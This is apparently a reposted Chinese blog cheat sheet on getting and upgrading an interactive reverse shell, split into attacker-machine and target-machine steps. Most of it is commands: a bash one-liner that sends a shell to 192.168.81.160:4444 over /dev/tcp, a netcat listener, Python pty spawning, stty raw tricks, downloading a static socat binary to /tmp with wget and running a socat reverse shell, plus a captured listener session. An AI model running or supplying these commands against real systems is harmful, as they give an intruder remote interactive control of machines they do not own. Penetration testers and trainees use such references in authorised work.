交互式shell
2021/8/27 7:05:58
本文主要是介绍交互式shell,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
一、学习链接传送门
https://saucer-man.com/information_security/233.html
二、命令记录
1、python pth方式
python -c 'import pty; pty.spawn("/bin/bash")'
2、升级nc为完全交互
攻击机本地执行 首先检查当前终端和STTY信息 $ echo $TERM $ stty -a nc开启监听 $ nc -lvvp 4444 目标机执行 $ bash -i >& /dev/tcp/192.168.81.160/4444 0>&1 接着运行如下一堆命令: # 此时攻击机已经获取到了bash # 接下来执行 $ python -c 'import pty; pty.spawn("/bin/bash")' //启用python交互式 # 把它丢到后台挂起 $ ctrl + z # 重置stty,也就意味着你看不到输入的内容 $ stty raw -echo # 把后台挂起的程序调回前台 $ fg # 完全刷新终端屏幕 $ reset # 接下来设置环境变量,根据第一步得到的环境变量来设置 $ export SHELL=bash $ export TERM=xterm-256color $ stty rows 行数 columns 列数
3、使用socat
攻击机: 首先安装 $ sudo apt install socat 执行 $ socat file:`tty`,raw,echo=0 tcp-listen:4444 目标机: 把socat上传到目标机器上或者直接下载 $ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat 运行 $ chmod +x /tmp/socat $ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444
4、script获取pty
C:\Users\w5023 λ nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30567 ubuntu@ubuntu:~$ tty tty not a tty ubuntu@ubuntu:~$ script /dev/null script /dev/null Script started, file is /dev/null ubuntu@ubuntu:~$ tty tty /dev/pts/1
这篇关于交互式shell的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求
- 2024-10-01使用 golang 将ETH账户的资产平均分散到其他账户
- 2024-10-01JWT用户校验课程:从入门到实践
- 2024-10-01Server Component课程入门指南
- 2024-09-30Dnd-Kit学习:新手快速入门指南